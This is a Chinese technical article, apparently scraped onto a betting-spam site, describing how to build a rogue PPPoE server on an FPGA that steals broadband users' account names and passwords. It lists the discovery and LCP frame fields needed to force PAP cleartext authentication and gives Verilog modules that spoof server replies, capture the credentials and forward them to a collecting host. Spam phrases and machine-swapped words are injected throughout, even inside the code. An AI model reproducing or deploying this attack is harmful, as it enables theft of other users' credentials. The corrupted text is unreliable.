省委书记,摸鱼-ope体育平台下载_ope体育客户端官方下载_ope

在与本头条同名的微信大众号之前的一篇文章《 西电免流量约束上网攻略!Python完结PPPOE进犯东西,秒杀拨号上网》结束安置了思考题,怎样选用FPGA完结PPPoE的第一种进犯,也便是获取对方账号暗码的进犯。本文针对FPGA完结的第一种进犯进行具体的介绍。FPGA完结方法具有非常好的硬件加速功能,盗取账号暗码的成功率也会更高。因为,较之前Python完结方法而言,在收到网络上某台计算机发送的PADI播送包后,FPGA完结的假装的服务器具有相当大的概率会抢在真实的服务器之前向该计算机发送诈骗帧(让对方将自己的账号暗码以明文的方法反应回来)。本文的意图一方面提示网络安全的重要性,另一方面让咱们意识到硬件加速力的重要性。试想,假如选用FPGA建议上文中说到的第三种DDOS进犯,估量瞬间就会形成整个网络的瘫痪。提高网络安全意识,从一点一滴做起。

一开端,咱们先回忆一下之前运用武极风岚舞Python完结的软件进犯的进程。

P生日蛋糕简笔画ython完结的软件进犯回忆

关于PPPOE认证上网的进程如下图所示,分为发现阶段和会话阶段,发现阶段分为PADI,PADO,PADR,PADS。


其间盗取账号暗码的问题就出现在第一步PADI。PPPOE客户端进行衔接时,在PADI阶段会发送一个播送包,寻觅局域网中的PPPOE服务器,然后完结认证。

这时候咱们需求做的是假装成PPPOE服务器,回复恳求信息,抢先和客户端通讯,并强制客户端运用明文传输方法,然后获取账号和暗码。下面咱们经过wireshark抓一下数据包,愈加直观的调查一下寻觅PPPOE服务器的进程。点击宽带衔接,运用Wireshark监听,会发现播送包,这时候pppoe服务器会进行回复。



进犯场景:在本机电脑上敞开PPPOE诈骗程序,开端进行监听,并在局域网中的其他电脑进步行宽带衔接,调查诈骗作用。如下图所示,现已成功诈骗出了账号和暗码。



盗取账号的部分代码内容如下



FPGA完结进犯有必要完结的使命

PPPOE的认证进程分两个阶段

  1. 发现阶段:客户省委书记,摸鱼-ope体育渠道下载_ope体育客户端官方下载_ope机寻觅并确认可用的服务器,得到会话ID
  2. 会话阶段:在发现阶段所确认的参数基础上,顺次完结链路操控洽谈、认证和NCP洽谈

因为会话阶段的认证过程中进行用户暗码传输,故FPGA假装至少完结:

1.发现阶段

2.会话阶段的链路操控洽谈



发现阶段帧结构

发现阶段假装要做到两点,一是辨认并记载客户机的PADI、PADR帧信息;二是发送对应的PADO、PADS帧



发现阶段:PADI帧的辨认与PADO帧的发送



PADI帧辨认特征

•帧类型域:0x8863(发现阶段)

•PPPOE帧代码域:0x09(PADI帧)


PADO帧发送

•意图MAC地址:客户机地址(PADI帧中源MAC地址)

•帧类型域:0x8863(发现乌兰托娅阶段)

•越王勾践剑PPPOE帧代码域:0x07(PADO帧)

•静载荷域:在收到的PADI帧的净载荷后加上AC-NAME

发现阶段:PADR帧的辨认与PADS帧的发送




PADR帧辨认特征

•帧类型域:0x8863(发现阶段)

•PPPOE帧代码域:0x19(PADR帧)

PADS帧发送

•意图MAC地址:客户机地址(PAD陈楚河R帧中源MAC地址)

•帧类型域:0x8863(发现阶段)

•PPPOE帧代码域:0x65(PADS帧)

•会话ID:可统一设为不为0的固定值

•净载荷域:与收到PADR帧的净载荷相同

会话阶段帧结构




会话阶段要做到:

1.发省委书记,摸鱼-ope体育渠道下载_ope体育客户端官方下载_ope送认证协议参数为0xc023(PAP协议)的Config-Request报文

2.辨认客户机发送的Config-Request报文并回应省委书记,摸鱼-ope体育渠道下载_ope体育客户端官方下载_opeConfig-Ack报文

会话阶段:Request帧的发送



LCP Configuration Request帧

•意图MAC地址:客户机地址(PADR帧中源MAC地址)

•帧类型域:0x8864(会话阶段)

•PPPOE帧代码域:0x00(会话数据)

•会话ID:可统一设为不为0的固定值

•点对点协议:0xc021(LCP协议)

•PPP LCP帧代码域:0x01(Request帧)

•认证协议:0xc023(PAP协议)

会话阶段:Ack帧的发送




LCP Configuration Ack帧

•意图MAC地址:客户机地址(Request帧中源MAC地址)

•帧类型域:0x8864(会话阶段)

•PPPOE帧代码域:0x00(会话数据)

•会话ID:可统一设为不为0的固定值

•点对点协议:0xc021(LCP协议)

•PPP LCP帧代码域:0x02(Ack帧)

•其他数据均与接纳的Request帧保持一致即可

FPGA完结




1、u_pppoeattack_v1模块

•解析辨认0口接纳到的PPPOED、PPP帧

•记载特定帧的帧信息(源MAC地址、操控信息用寄存器保存,载荷用FIFO保存)

•依据接纳的帧类型确认回复帧类型

•依据记载的信息和回复帧类型向0口发送对应帧

(1)解析辨认0口接纳到的PPPOED、PPP帧

首要获取接纳帧不同结构方位下的数据


//获取接纳帧的帧类型、PPPOE类型、PPPOE会话ID
always @(pose张筱雨人体dge clk or negedge reset_n)
begin
if(reset_n == 1'b0)
begin
frame_type <= 16'b0;
pppoed_code <= 8'b0 ;
lcp_code <= 8'd0 ;
pppoed_session_id <= 16'b0;
end
else if(read_frame_step == 9'd3)
begin
frame_type <= ff_rx_data[31:16];
pppoed_code<= ff_rx_data[7:0];
end
else if(read_frame_step == 9'd4)
begin
pppoed_sessio美国连体姐妹n_id <= ff_rx_data[31:16];
end
else if(read_frame_step == 9'd5)
begin
lcp_code <= ff_rx_data[15:8];
end
else
begin
frame_type <= 16'b0;
pppoed_code <= 8'b0 ;
pppoed_session_id <= 16'b0;
lcp_code <= 8'd0 ;
end
end

(2)解析辨认0口接纳到的PPPOED、PPP帧

其次要依据获取数据判别接纳帧类型,并在回复帧之前确认好回复帧类型

//确认该发送何种PPPOE帧
always @(posedge clk or negedge reset_n)
begin
if(reset_n == 1'b0)
begin
send_frame_step_flag <= 4'd0;
end
else if(ff_tx_eop == 1'b1 && (send_frame_step_flag == PADS || send_frame_step_flag == PPP_LCP_ACK))
begin
send_frame_step_flag <= PPP_LCP_REQUEST;
end
else if(ff_tx_eop == 1'b1)
begin
send_frame_step_flag <= 4'd0;
end
else if(frame_type == PPP_DISCOVERY && pppoed_code == 8'h09 && send_frame_step_flag == 4'd0)
begin
send_frame_step_flag <= PADO;
end
else if(frame_type == PPP_DISCOVERY && pppoed_code == 8'h19 && send_frame_step_flag == 4'd0)
begin
send_frame_step_flag <= PADS;
end
else if(frame_type == PPP_SESSION && lcp_code == 8'h01 && send_frame_step_flag == 4'd0)
begin
send_frame_step_flag <= PPP_LCP_ACK;
end
end

(3)解析辨认0口接纳到的PPPOED、PPP帧

记载特定帧的帧信息

载荷用FIFO保存


payload_fifo u_payload_fifo (
.clk(clk), // input wire clk
.rst(~reset_n), // input wire srst
.din(ff_rx_data), // input wire [3余城碧落1 : 0] din
.wr_en(payload_data_wren), // input wire wr_en
.rd_en(payload_data_rden), // input wire rd_en
.dout(fifo_payload_dout), // output wire [31 : 0] dout
.full(payload_fifo_full), // output wire full
.empty(payload_fifo_empty) // output wire empty
);


源MAC地址等信息用寄存器保存

//获取接纳帧的意图MAC地址和源MAC地址
always @(posedge clk or negedge reset_n)
begin
if(reset_n == 1'b0)
begin
des_addr <= 48'b0;
sou_addr <= 48'b0;
end
else if(read_frame_step == 9'd0 && ff_rx_sop == 1'b1 && ff_rx_dval == 1'b1)
begin
des_addr[47:16] <= ff_rx_data;
end
else if(read_frame_step == 9'd1)
begin
des_addr[15:0] <= ff_rx_data[31:16];
sou_addr[47:32] <= ff_rx_data[15:0] ;
end
else if(read_frame_step == 9'd2)
begin
sou_addr[31:0] <= ff_rx_data;
end
end

(4)对应帧的发送:顺次将地址数据、帧格局数据以及载荷写入到输出数据信携程酒店号并发送

//帧发送数据赋值
always @(posedge clk or negedge reset_n)
begin
if(reset_n == 1'b0)
begin
ff_tx_data <= 32'b0;
end
else if摸女生下面(send_frame_step_flag != 4'd0 && send_frame_step == 9'd0)
begin
ff_tx_data <= sou_addr[47:16]; //发送意图MAC地址(接纳帧源地址)
end
else if(send_frame_step_flag != 4'd0 && send_frame_step == 9'd1)
begin
ff_tx_data <= {sou_addr[15:0],MAC_ADDR[47:32]};
end
else if(send_frame_step_flag != 4'd0 && send_frame_step == 9'd2)
begin
ff_tx_data <= MAC_ADDR[31:0];
end
else if(se捐精护理nd_frame_step_flag != 4'd0 && send_frame桐_step == 9'd3)
begin
ff_tx_data <= {send_frame_type,8'h11,send_pppoed_code};
end //发送帧类型数据
else if(send_frame_step_flag != 4'd0 && send_frame_step == 9'd4杨惠妍老公怎样死的)
begin//发送会话ID及载荷长度
ff_tx_data <= {send_session_id,send_frame_payload_length};
end
else if(send_frame_step_flag != 4'd0 && send_frame_step == 9'd5 && send_ppp_type != 16'h0)
begin//发送PPP和LCP帧类型以及分类码
ff_tx_data <= {send_ppp_type,send_lcp_code,send_lcp_identifier};
end
else if(send_frame_step_flag != 4'd0 && send_payload_flag == 1'b1)
begin
ff_tx_data <= fifo_payload_dout; //发送特定帧所需的之前记载的接纳帧载荷
end
else if(send_frame_step_flag == PADO && send_frame_step > 9‘d4) //发送PADO帧载荷
begin
if(send_cnt == 3'd4)
ff_tx_data <= {AC_NAME[7:0],24'b0};
else if(send_cnt == 3'd3)
ff_tx_d金海心ata <= AC_NAME[39:8];
else if(send_cnt == 3'd2)
ff_tx_data <= AC_NAME[71:40];
else if(send_cnt == 3'd1)
ff_tx_data <= AC_NAME[103:72];
else if(send_cnt == 3'd0)
ff_tx_data <= AC_NAME_TAG;
end
else if(send_frame_step_flag == PPP_LCP_REQUEST && send_frame_step > 9‘d4) //发送LCP_Request帧载荷
begin
if(send_cnt == 3'd4)
ff_tx_data <= LCP_OPTIONS[31:0];
else if(send_cnt == 3'd3)
ff_tx_data <= LCP_OPTIONS[63:32];
else if(send_cnt == 3'd2)
ff_tx_data <= LCP_OPTIONS[95:64];
else if(send_cnt == 3'd1)
ff_tx_data <= LCP_OPTIONS[127:96];
else if(send_cnt == 3'd0)
ff_tx_data <= LCP_OPTIONS[159:128];
end
else
begin
ff_tx_data <= 32'b0;
end
end

2、u_pppoeattack_authen_forward模块

•解析辨认0口接纳到的PPP_PAP帧、1口接纳到的以太网帧

•记载1口以太网帧的帧信息(源MAC地址用寄存器保存)

•记载PPP_PAP帧的帧信息(载荷域的账号暗码用FIFO保存)

•接纳到PAP帧后向1口发送包括账号暗码的自定义帧

(1)解析辨认0口接纳到的PPP_PAP帧、1口接纳到的以太网帧与u_pppoeattack_v1模块操作相同

//获取1口接纳以太网帧源MAC地址
always @(posedge clk or negedge reset_n)
begin
if(reset_n == 1'b0)
begin
sou_addr_1 <= 48'hffffffffffff;
end
else if(read_frame_step_1 == 9'd1)
begin
sou_addr_1[47:32] <= ff_rx_data_1[15:0] ;
end
else if(read_frame_step_1 == 9'd2)
begin
sou_addr_1[31:0] <= ff_rx_data_1;
end
end
//拉高写使能信号,将PPP_PAP帧账号暗码信息写入FIFO
always @(posedge clk or negedge reset_n)
begin
if(reset_n == 1'b0)
begin
payload_data_wren <= 1'b0;
end
else if(payload_data_write_cnt >= (payload_length_4bytes - 1))
begin
payload_data_wren <= 1'b0;
end
else if(frame_type == 16'h8864 && pppoed_code == 8'h00 && ff_rx_data_0[31:16] == 16'hc023 &省委书记,摸鱼-ope体育渠道下载_ope体育客户端官方下载_ope& ff_rx_data_0[15:8] == 8'h01 && payload_f趾高气扬ifo_full == 1'b0 && read_frame_step == 9'd5)
begin
payload_d风流僵尸的都市生活ata_wren <= 1'b1;
end
end


//将接纳到PPP_PAP帧的账号暗码信息打包为一个自定义帧经过1口发往上位机
always @(posedge clk or negedge reset_n亓怎样读)
begin
if(reset_n == 1'b0)
begin
ff_tx_data_1 <= 32'b0;
end
else省委书记,摸鱼-ope体育渠道下载_ope体育客户端官方下载_ope if(ff_tx_eop_1 == 1'b1)
begin
ff_tx_data_1 <= 32'b0;
end
else if(send_frame_step 省委书记,摸鱼-ope体育渠道下载_ope体育客户端官方下载_ope== 9‘d1) //意图MAC地址
begin
ff_tx_data_1 <= sou_addr_1[47:16];
end
else if(send_frame_step == 9'd2)
begin
ff_tx_data_1 <= {sou_addr_1[15:0],MAC_ADDR[47:32]};
end
else if(send_frame_step == 9‘d3) //板子源MAC地址
begin
碟调ff_tx_data_1 <= MAC_ADDR[31:0];
end
else if(send_frame_step == 9‘d4)
begin//自定义帧类型0x8817,0x23与0x02为数据省委书记,摸鱼-ope体育渠道下载_ope体育客户端官方下载_ope开始符
ff_tx_data_1 <= {16‘h8817,8’h23,8‘h02};
end
else if(send_frame_step == 9'd5)
begin //0x2020为两个空格,替换原无效数据,0x25为数据分隔符%
ff_tx_data_1 <= {16'h2020,8'h25,fifo_payload_dout[7:0]};
end
else if(send_frame_step == send_frame_length_4bytes && send_frame_step > 9‘d5) //0x24表明数据结束符
begin
ff_tx_data_1 <= {8'h24,24'h0};
end
else if(send_frame_step > 9‘d5 && account_cnt > account_length) //在账号与暗码之间参加一个0x25数据分隔符%
begin
if(account_length == ac美容大王在线阅览count_cnt - 8'd4)
ff_tx_data_1 <= {8'h25,fifo_payload_dout[23:0]};
else if(account_length == account_cnt - 8'd3)
ff_tx_data_1 <= {fifo_payload_dout[31:24],8'h25,fifo_payload_dout[15:0]};
else if(account_length == account_cnt - 8'd2)
ff_tx_data_1 <= {fifo_payload_dout[31:16],8'h25,fifo_payload_dout[7:0]};
else if(account_length == account_cnt - 8'd1)
ff_tx_data_1 <= {fifo_payload_dout[31:8],8'h25};
else
ff_tx_data_1 <= fifo_payload_dout;
end
else if(send_frame_step > 9'd5)
begin
ff_tx_data_1 <= fifo_payload_dout;
end
end

作用







温馨提示:

文中内容朴实为学术交流,若有同学自己操练引起的一切问题,本文概不负责。

全文完。

演示站
上一篇:刘桦,泉州天气预报-ope体育平台下载_ope体育客户端官方下载_ope
下一篇:打领带,李渊-ope体育平台下载_ope体育客户端官方下载_ope